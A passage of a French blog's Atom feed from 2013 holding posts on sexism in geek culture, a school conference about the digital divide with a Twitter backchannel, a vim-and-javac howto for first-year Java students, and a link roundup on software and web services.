&lt;a href="http://www.slate.fr/lien/64911/cracke-zelda-change-hero-femme"&gt;Zelda craquée pour que le héros soit une héroïne&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.twitch.tv/usulmaster/b/380519758"&gt;Une interview de Mar_Lard suite à son article sur Radio Usul&lt;/a&gt;&lt;br&gt;
&lt;a href="http://cafaitgenre.org/2013/03/16/sexisme-chez-les-geeks-pourquoi-notre-communaute-est-malade-et-comment-y-remedier/"&gt;Sexisme chez les geeks : Pourquoi notre communauté est malade, et comment y remédier&lt;/a&gt;&lt;br&gt;
&lt;a href="http://dictionnaire.reverso.net/francais-definition/sexiste"&gt;reverso.net - Définition de sexiste&lt;/a&gt;&lt;br&gt;
&lt;a href="http://fr.wikipedia.org/wiki/Sexisme"&gt;Wikipédia, Sexisme&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je prend comme exemple, la remarque sur IRC. Certains &lt;em&gt;chans&lt;/em&gt; sont assez fermés et le mauvais accueil n&amp;rsquo;est pas spécialement « genré ». Si tu débarques, même en respectant les règles de bienséance des lieux, tu es parfois très mal accueilli. (Non ! Je ne pleure pas  Lorsque j&amp;rsquo;ai été mal accueilli, j&amp;rsquo;ai passé mon chemin et c&amp;rsquo;est tout.)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;C&amp;rsquo;est triste comme tu vois les choses ! Non, t&amp;rsquo;inquiète, je plaisante 😉&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Pour les jeunes, c&amp;rsquo;est un mot un peu désuet que je n&amp;rsquo;oserais pas essayer de définir… et qui est mort avec &lt;em&gt;mee too&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Message à ma femme; c&amp;rsquo;est une figure de style évidemment, je ne vois que toi ! (Ce qui est faux et hypocrite mais c&amp;rsquo;est un autre débat.)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Informatique et société, la fracture numérique</title><link href="http://blog.namok.be/2013-03-24-infosoc-la-fracture-numerique.html" rel="alternate"/><published>2013-03-24T00:00:00+01:00</published><updated>2013-03-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-03-24:/2013-03-24-infosoc-la-fracture-numerique.html</id><summary type="html">Réflexions sur l'accès et l'usage des technologies, l'influence des réseaux sociaux et des agrégateurs d'information (Buzzfeed, Huffington Post), l'importance de la neutralité du réseau et des logiciels libres, et l'expérimentation réussie d'un &lt;i&gt;backchannel&lt;/i&gt; Twitter par Tweetwallpro pour dynamiser les débats lors d'un événement.</summary><content type="html">&lt;p&gt;&lt;img alt="Twitter___by_raycietor.jpg" src="/images/Twitter___by_raycietor.jpg" title="Twitter___by_raycietor.jpg, mar. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Notre rendez-vous annuel avec des anciens et des conférences a eu lieu le 14 mars 2013. Au sujet de cette après-midi informatique et société : la &lt;strong&gt;fracture numérique&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;ai fait l&amp;rsquo;affiche, j&amp;rsquo;ai interprété le sujet de l&amp;rsquo;après midi, non pas en termes &lt;strong&gt;d&amp;rsquo;accès&lt;/strong&gt; à internet et aux technologies numériques mais bien en termes &lt;strong&gt;d&amp;rsquo;usage&lt;/strong&gt; que l&amp;rsquo;on en fait. Qu&amp;rsquo;en est-il du fossé qui sépare deux personnes possédant ces mêmes technologies ? L&amp;rsquo;usage que chacun fait d&amp;rsquo;internet est-il foncièrement différent de celui de son voisin ou bien est-il sensiblement le même ? &lt;/p&gt;
&lt;p&gt;&lt;img alt="affiche-2013.png" src="/images/affiche-2013.png" title="affiche-2013.png"&gt;&lt;/p&gt;
&lt;p&gt;Au final, pratiquons-nous le même &lt;em&gt;web&lt;/em&gt; ?&lt;/p&gt;
&lt;p&gt;La réponse est évidemment non et c&amp;rsquo;est cependant avec ces interrogations que j&amp;rsquo;attends patiemment l&amp;rsquo;intervention de Patrick Willemarcq : « Les impacts du web » !&lt;/p&gt;
&lt;p&gt;Ce « non compte-rendu » rassemble quelques-unes des réflexions que je me fais suite à cette après-midi. Comme à mon habitude, ces propos n&amp;rsquo;engagent que moi.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/sophieschuerman"&gt;Sophie Schuermans&lt;/a&gt;, première intervenante, fort sympathique au demeurant, nous parle de &lt;strong&gt;« L&amp;rsquo;accessibilité du web »&lt;/strong&gt;. Pour ma part, sa présentation peut se résumer à un tweet du public rappelant qu&amp;rsquo;il ne faut pas faire des sites pourris.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OK éviter les sites pourris&lt;/p&gt;
&lt;p&gt;Dehon Pierre-Yves (@PierreYvesDehon) &lt;a href="https://twitter.com/PierreYvesDehon/status/312191115237416962"&gt;March 14, 013&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://twitter.com/pwillemarck"&gt;Patrick Willemarcq&lt;/a&gt;, second intervenant nous parle des impacts du web. J&amp;rsquo;ai trouvé la présentation intéressante, très &lt;em&gt;mode&lt;/em&gt; avec des images et de la vidéo. Je voulais intégrer ici quelques liens qui me paraissaient intéressants mais je n&amp;rsquo;ai pas pu me procurer la présentation. Même si Patrick Willemarcq était réactif sur twitter lors de la conférence, il l&amp;rsquo;a été moins le lendemain. Dommage…&lt;/p&gt;
&lt;p&gt;(&lt;strong&gt;Édité le 12 avril 2013&lt;/strong&gt; Patrick Willemarcq m&amp;rsquo;envoie un &lt;a href="http://t.co/HtO7pydlog"&gt;lien vers sa présentation&lt;/a&gt;, je fais quelques mises à jour.)&lt;/p&gt;
&lt;p&gt;Patrick Willemarcq nous présente les retombées sociales engendrées par de nouveaux sites web (principalement sociaux) qui apparaissent et entrent dans l&amp;rsquo;usage
quotidien &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="iframe-container"&gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/TXD-Uqx6_Wk?si=upr0aWfKLt8vewmR" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;Je retiens une tendance à construire sa veille (technologique ou pas) sur base de ce que publient « les autres ». Je ne lis plus le journal, je lis des sites qui construisent l&amp;rsquo;info sur base de ce que fournissent les internautes. C&amp;rsquo;est l&amp;rsquo;apparition de sites tels &lt;a href="http://www.buzzfeed.com/"&gt;Buzz feed&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et &lt;a href="http://www.huffingtonpost.com"&gt;The Huffington Post&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Huffington Post (sometimes Huff Post) is an American news website, content aggregator and blog founded by Arianna Huffington, Kenneth Lerer, Andrew Breitbart and Jonah Peretti, featuring columnists and various news sources. The site offers news, blogs, and original content and covers politics, business, entertainment, environment, technology, popular media, lifestyle, culture, comedy, healthy living, women&amp;rsquo;s interests and local news.&lt;/p&gt;
&lt;p&gt;Source &lt;a href="http://en.wikipedia.org/wiki/The_Huffington_Post"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Personnellement, j&amp;rsquo;ai cessé de lire le journal Metro &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;, dans le train et je consacre le temps de mon trajet à mon &lt;em&gt;lecteur de flux&lt;/em&gt;. Chose nouvelle, ce lecteur de flux est capable d&amp;rsquo;ajouter aux flux que je suis les « flux tendances » que je peux décider d&amp;rsquo;ajouter si je veux.&lt;/p&gt;
&lt;p&gt;Mon information se construit donc sur base de mes liens faibles et de ce qui fait le buzz. Ce ne sont donc plus les journaux qui m&amp;rsquo;informent mais la collectivité. En fait; &lt;strong&gt;une&lt;/strong&gt; collectivité… basée sur le réseau de connaissances que je me construis. L&amp;rsquo;avantage est que je lis des choses qui m&amp;rsquo;intéressent, l&amp;rsquo;inconvénient est que je m&amp;rsquo;ouvre moins aux nouveautés extérieures à mes domaines de prédilection.&lt;/p&gt;
&lt;p&gt;La troisième partie de l&amp;rsquo;après-midi a été consacrée à une réflexion politique. Tout de suite le ton change, les intervenants parlent (encore) plus en &lt;strong&gt;je&lt;/strong&gt; et en &lt;strong&gt;nous avons fait&lt;/strong&gt;, &lt;strong&gt;nous avons proposé&lt;/strong&gt;, etc. Ça m&amp;rsquo;insupporte.&lt;/p&gt;
&lt;p&gt;Un seul des représentants politiques a parlé, sans trop sembler maitriser, de;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;neutralité du réseau (&lt;a href="http://fr.wikipedia.org/wiki/Neutralit%C3%A9_du_r%C3%A9seau"&gt;Wikipedia&lt;/a&gt; &lt;a href="http://www.laquadrature.net/fr/neutralite_du_Net"&gt;La quadrature du Net&lt;/a&gt;) et&lt;/li&gt;
&lt;li&gt;logiciels libres (&lt;a href="http://fr.wikipedia.org/wiki/Logiciel_libre"&gt;Wikipedia&lt;/a&gt; &lt;a href="http://www.gnu.org/philosophy/free-sw.fr.html"&gt;GNU.org&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… pour les autres on n&amp;rsquo;a parlé que de l&amp;rsquo;accessibilité à internet pour tous.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai même appris que tout le monde a l&amp;rsquo;eau courante, l&amp;rsquo;électricité… et le gaz naturel. Faudrait peut-être parfois se rendre de « l&amp;rsquo;autre côté du ring » !&lt;/p&gt;
&lt;h4&gt;Pour une première fois, nous avons placé un &lt;em&gt;backchannel twitter&lt;/em&gt;&lt;/h4&gt;
&lt;p&gt;Un &lt;em&gt;backchannel twitter&lt;/em&gt; est simplement une projection de certains tweets en rapport avec l&amp;rsquo;après-midi.&lt;/p&gt;
&lt;p&gt;Pour ce faire, il suffit de proposer un &lt;em&gt;hashtag&lt;/em&gt; (&lt;a href="https://twitter.com/search?q=%23infosoc2013&amp;amp;src=savs"&gt;#infosoc2013&lt;/a&gt; par exemple) et les participants peuvent s&amp;rsquo;exprimer s&amp;rsquo;ils le désirent. J&amp;rsquo;y pense depuis longtemps et comme le colloque Generation Y du pôle universitaire wallonie-bruxelles était un fiasco à ce sujet, je trouvais que l&amp;rsquo;on ne pouvait pas passer à côté !&lt;/p&gt;
&lt;p&gt;Tous les tweets de la journée ont été rassemblés sur &lt;a href="http://storify.com/Pinkilla/infosoc2013"&gt;Storify #infosoc2013&lt;/a&gt; à la fin de l&amp;rsquo;évènement. Pendant celui-ci, c&amp;rsquo;est &lt;a href="http://www.tweetwallpro.com/"&gt;Tweetwallpro&lt;/a&gt; qui proposait le service permettant de projeter les tweets &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;En quelques points, voici comment j&amp;rsquo;évalue cette expérience &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;c&amp;rsquo;est ludique et l&amp;rsquo;accueil est plutôt favorable;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;auditoire est peuplé de quelques 150 personnes et moins de 10 personnes ont tweeté pendant l&amp;rsquo;après-midi;&lt;/li&gt;
&lt;li&gt;parmi ces 10 tweeteurs seul 1 prof a envoyé des tweets &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;à la louche, plus de la moitié des tweets m&amp;rsquo;ont semblé intéressants, ce qui est pas mal.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je trouve que l&amp;rsquo;expérience est à reconduire, ça ne coûte (presque) rien et ça dynamise un peu l&amp;rsquo;auditoire. C&amp;rsquo;est cependant toujours surprenant pour moi de constater que notre école, école d&amp;rsquo;informatique pourtant, n&amp;rsquo;est pas peuplée nécessairement de &lt;em&gt;geeks&lt;/em&gt;… ce qui est finalement bien une illustration de la fracture numérique.&lt;/p&gt;
&lt;p&gt;Outre l&amp;rsquo;aspect ludique &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt; de Twitter, cette après-midi est toujours l&amp;rsquo;occasion d&amp;rsquo;aller boire &lt;strong&gt;un&lt;/strong&gt; &lt;strong&gt;O&lt;/strong&gt;rval chez &lt;em&gt;la vieille bonne&lt;/em&gt; &lt;sup id="fnref:f8"&gt;&lt;a class="footnote-ref" href="#fn:f8"&gt;8&lt;/a&gt;&lt;/sup&gt; et de rencontrer des anciens avec lesquels il est toujours agréable de discuter. Merci à eux.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/sophieschuerman"&gt;Sophie Schuermans&lt;/a&gt;&lt;br&gt;
&lt;a href="https://twitter.com/pwillemarck"&gt;Patrick Willemarcq&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.buzzfeed.com/"&gt;Buzz feed&lt;/a&gt; et &lt;a href="http://www.huffingtonpost.com"&gt;The Huffinqton Post&lt;/a&gt;&lt;br&gt;
&lt;a href="http://storify.com/Pinkilla/infosoc2013"&gt;Storify #infosoc2013&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.tweetwallpro.com/"&gt;Tweetwallpro&lt;/a&gt;&lt;br&gt;
Neutralité du web / réseau &lt;a href="http://fr.wikipedia.org/wiki/Neutralit%C3%A9_du_r%C3%A9seau"&gt;Wikipedia&lt;/a&gt; et &lt;a href="http://www.laquadrature.net/fr/neutralite_du_Net"&gt;La quadrature du Net&lt;/a&gt;&lt;br&gt;
Logiciels libres &lt;a href="http://fr.wikipedia.org/wiki/Logiciel_libre"&gt;Wikipedia&lt;/a&gt;, &lt;a href="http://www.gnu.org/philosophy/free-sw.fr.html"&gt;GNU.org&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo Deviant Art, &lt;a href="http://fav.me/d2h3yid"&gt;reversed-singularity&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;À lire aussi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2007-03-14-infosoc-2007.html"&gt;Informatique et société 2007, l&amp;rsquo;identification numérigue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="2013-03-01-generation-y.html"&gt;Generation Y - Réseaux (anti)sociaux et enseignement : entre fascination et rejet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je dois être un des derniers à ne pas substituer quotidien à journalier !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Pour moi, celui-là est trop &lt;em&gt;bling bling&lt;/em&gt;… donc inutilisable ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Le sujet de la presse gratuite qui n&amp;rsquo;est pas gratuite et qui contribue à l&amp;rsquo;abêtissement de tous est un bel exemple de fracture.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Tweetwallpro, c&amp;rsquo;est une animation flash que l&amp;rsquo;on projette. Cette animation est couplée à un service de modération des tweets qui seront projetés et à un petit service d&amp;rsquo;annonces permettant, par exemple, de donner les paramètres de connexion wifi.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Cette expérience est vraiment une nouveauté pour l&amp;rsquo;école bien que le concept soit déjà vieux. Lorsque je me suis (re)connecté à mon compte tweetwallpro, j&amp;rsquo;ai vu que mes premiers tests remontent à 2006 !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Je pense que 4 profs sur ± 31 ont un compte twitter. Et oui, bien sur, c&amp;rsquo;est moi ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Je dis bien que c&amp;rsquo;est ludique, je ne dis pas que ce sont des conneries de gamins qui ont envie de dire à tout le monde s&amp;rsquo;ils doivent faire pipi ou si le présentateur a un moche pull. Ce temps est révolu et l&amp;rsquo;utilisation de twitter (comme tout autre outil) dépend de ses utilisateurs. Bon, d&amp;rsquo;accorde, je suis resté un grand gamin ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f8"&gt;
&lt;p&gt;Que l&amp;rsquo;on me pardonne l&amp;rsquo;expression qui peut sembler irrespectueuse, c&amp;rsquo;est en fait un peu un compliment.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f8" title="Jump back to footnote 8 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Howto vim et projet Java</title><link href="http://blog.namok.be/2013-03-18-howto-vim-et-projet-java.html" rel="alternate"/><published>2013-03-18T00:00:00+01:00</published><updated>2013-03-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-03-18:/2013-03-18-howto-vim-et-projet-java.html</id><summary type="html">Howto vim et projet Java</summary><content type="html">&lt;p&gt;En première année à l&amp;rsquo;ÉSI, nous demandons de ne pas travailler avec un IDE (&lt;em&gt;integrated development environment&lt;/em&gt;) car nous estimons qu&amp;rsquo;il faut d&amp;rsquo;abord avoir la main sur tout le « processus Java » avant d&amp;rsquo;utiliser un outil qui fera une grande partie du travail à notre place.&lt;/p&gt;
&lt;p&gt;&lt;img alt="blue_beetle_1cargo_by_phlearn-d5y11yi.jpg" src="/images/blue_beetle_1cargo_by_phlearn-d5y11yi.jpg" title="blue_beetle_1cargo_by_phlearn-d5y11yi.jpg, mar. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Nous estimons également qu&amp;rsquo;un bon programmeur est quelqu&amp;rsquo;un qui a une bonne connaissance d&amp;rsquo;un IDE et d&amp;rsquo;un éditeur de code. Pour ce faire nous demandons aux étudiants de travailler avec &lt;a href="http://vim.org"&gt;vim&lt;/a&gt; en première.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;vim&lt;/strong&gt; est un éditeur de code très puissant et permet, si on prend la peine de l&amp;rsquo;appréhender un peu, de coder beaucoup plus vite qu&amp;rsquo;avec un&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;Foo.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quelques conseils pour ceux qui vont coder leur premier projet (sans interface graphique).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;ouvrir deux consoles; une pour les compilations et les exécutions et l&amp;rsquo;autre pour vim&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ouvrir &lt;strong&gt;une seule instance&lt;/strong&gt; de vim qui contiendra toutes les classes &lt;code&gt;vim -p src/*.java&lt;/code&gt; (noter le paramètre &lt;em&gt;p&lt;/em&gt; qui demande d&amp;rsquo;ouvrir les fichiers dans des onglets différents)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;si je veux ouvrir une nouvelle classe (que le fichier existe déjà ou pas a peu d&amp;rsquo;importance) &lt;code&gt;:tabe MyClass.java&lt;/code&gt; aura pour effet d&amp;rsquo;ouvrir un nouvel onglet (&lt;em&gt;tab&lt;/em&gt;) avec le fichier&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:tabs&lt;/code&gt; permet de voir tous les onglets tandis que la combinaison de touches &lt;code&gt;igt&lt;/code&gt; où &lt;em&gt;i&lt;/em&gt; est le numéro de l&amp;rsquo;onglet permet de se déplacer dans les onglets&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;:wall&lt;/code&gt; permet de sauver tous les fichiers ouverts tandis que &lt;code&gt;:qall&lt;/code&gt; permet de quitter vim (sans sauver &lt;code&gt;:qall!&lt;/code&gt; quittera sans sauvegarder les modification). &lt;code&gt;:xall&lt;/code&gt; quittera en ayant sauvé au préalable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;grâce à tous ces onglets ouverts, une demande d&amp;rsquo;autocomplétion d&amp;rsquo;un mot (un nom de variable par exemple) par le biais de la combinaison de touches &lt;code&gt;[Ctrl-n]&lt;/code&gt; se fait dans &lt;strong&gt;tous les fichiers ouverts&lt;/strong&gt; et plus seulement dans un seul&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les copier / coller fonctionnent mieux aussi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pour compiler le projet (dans l&amp;rsquo;autre console, inutile de fermer vim), &lt;code&gt;javac src/*.java -d .&lt;/code&gt; fera bien l&amp;rsquo;affaire&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je donne régulièrement cette explication lorsque je vois des étudiants pester contre vim ou bien essayer d&amp;rsquo;avancer dans leur projet en quittant constamment vim et ne s&amp;rsquo;y retrouvant pas dans leurs consoles si tant est qu&amp;rsquo;ils en ouvrent deux ! &lt;/p&gt;
&lt;p&gt;Si ceci peut dépanner, autant l&amp;rsquo;écrire.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Enjoy&lt;/em&gt; (comme dirait l&amp;rsquo;autre, si vous trouvez ce billet intéressant, n&amp;rsquo;hésitez pas à la partager)&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2007-03-23-vim7-tabs.html"&gt;Vim7, tabs&lt;/a&gt;&lt;br&gt;
&lt;a href="http://vim.org"&gt;Site officiel de vim&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://fav.me/d5y11yi"&gt;Phlearn&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Vrac #11</title><link href="http://blog.namok.be/2013-03-04-vrac-11.html" rel="alternate"/><published>2013-03-04T00:00:00+01:00</published><updated>2013-03-04T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-03-04:/2013-03-04-vrac-11.html</id><summary type="html">Réflexions autour de l'automatisation avec If This Then That (&lt;i&gt;iettt&lt;/i&gt;), la curation de tweets avec Storify, le contrôle d'accès à distance, le test de Firefox OS, les nouveautés de LibreOffice 4.0, le décryptage de WEP, l'achat de livres électroniques sans DRM, la recherche de fichiers et les problèmes liés au changement d'adresses e-mail par Facebook.</summary><content type="html">&lt;p&gt;Ça va faire un an (en juin) que je n&amp;rsquo;ai plus posté de « vrac ».&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le principe: des liens en vrac sur ce que j&amp;rsquo;ai lu. Des liens qui me semblent intéressant de partager mais pour lesquels je n&amp;rsquo;écris pas un post à part entière. Par manque de temps ou parce que « c&amp;rsquo;est trop maigre ».&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="no_talking_in_the_library_by_antiquity_dreams-d32wtaa-cut.png" src="/images/no_talking_in_the_library_by_antiquity_dreams-d32wtaa-cut.png" title="no_talking_in_the_library_by_antiquity_dreams-d32wtaa-cut.png, mar. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;— Tu trouves que c&amp;rsquo;est intéressant ?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://ifttt.com/wtf"&gt;If this then that&lt;/a&gt;&lt;/em&gt; pas encore eu le temps de tester ce service qui fonctionne comme un &lt;em&gt;trigger&lt;/em&gt; sur un évènement afin d&amp;rsquo;en générer un autre. (Ce service aura la chance de collecter des identités « séparées ». Par exemple si on me cite sur &lt;strong&gt;ce&lt;/strong&gt; compte Twitter, poster ça sur &lt;strong&gt;cette autre&lt;/strong&gt; compte).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://storify.com"&gt;Storify&lt;/a&gt; permet de sauvegarder et publier une liste de tweets. Pratique après un évènement afin de publier et rassembler tous les tweets. Exemple pour &lt;a href="http://storify.com/niroland/bxlgenerationy"&gt;le hashtag du colloque du Pôle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedproxy.google.com/~r/KorbensBlog-UpgradeYourMind/~3/5wV5ki4oSGE/doorbot-lockitron.html"&gt;Ta sonnette dans ton smartphone&lt;/a&gt;, cool pour ouvrir la porte à distance.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.tux-planet.fr/tester-firefox-os-directement-dans-votre-navigateur-web/"&gt;Tester Firefox OS&lt;/a&gt; directement dans son navigateur.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://linuxfr.org/news/libreoffice-se-met-en-4-0"&gt;LibreOffice passe en version 4.0&lt;/a&gt;, un saut majeur suite aux changements importants dans l&amp;rsquo;API. Pour l&amp;rsquo;utilisateur, quelques changements :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;meilleur pointage des commentaires;&lt;/li&gt;
&lt;li&gt;la possibilité de « faire du Logo » pour générer des graphiques;&lt;/li&gt;
&lt;li&gt;il est possible d&amp;rsquo;annoter un document;&lt;/li&gt;
&lt;li&gt;il est possible de spécifier un style différent pour les entête et pied de page sans changer de style de page (&lt;a href="http://namok.be/blog/index.php?post/2012/07/15/retirer-le-header-en-premiere-page-et-le-footer-en-derniere-page"&gt;cette note&lt;/a&gt;     devient obsolète ;-) )&lt;/li&gt;
&lt;li&gt;les styles proposent un aperçu;&lt;/li&gt;
&lt;li&gt;… (&lt;a href="http://wiki.documentfoundation.org/ReleaseNotes/4.0/fr"&gt;releases notes 4.0&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.unixgarden.com/index.php/misc/cassage-de-wep-hors-des-sentiers-battus"&gt;Comment casser une clé WEP&lt;/a&gt; dans le détail…&lt;/p&gt;
&lt;p&gt;Achat de mon premier livre en version électronique chez &lt;a href="https://librairie.immateriel.fr"&gt;Librairie immateriel&lt;/a&gt; pour l&amp;rsquo;achat du &lt;a href="http://raphaelhertzog.fr/2012/12/28/le-memento-git-en-version-electronique/"&gt;mémento GIT&lt;/a&gt;. Le document est &lt;strong&gt;sans DRM&lt;/strong&gt; la version électronique est marquée de mon nom et de mon email… tout ça me convient.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.unixgarden.com/index.php/linux-pratique/mais-ou-lai-je-donc-mis-une-analyse-comparee-de-trois-outils-de-recherche-de-fichiers"&gt;Quels soft utiliser pour rechercher ses fichiers&lt;/a&gt; ? Après lecture de l&amp;rsquo;article, on ne sait toujours pas très bien lequel choisir: Nepomuk, Tracker et Beagle Une seule chose est commune à tous; c&amp;rsquo;est mangeur de ressources !&lt;/p&gt;
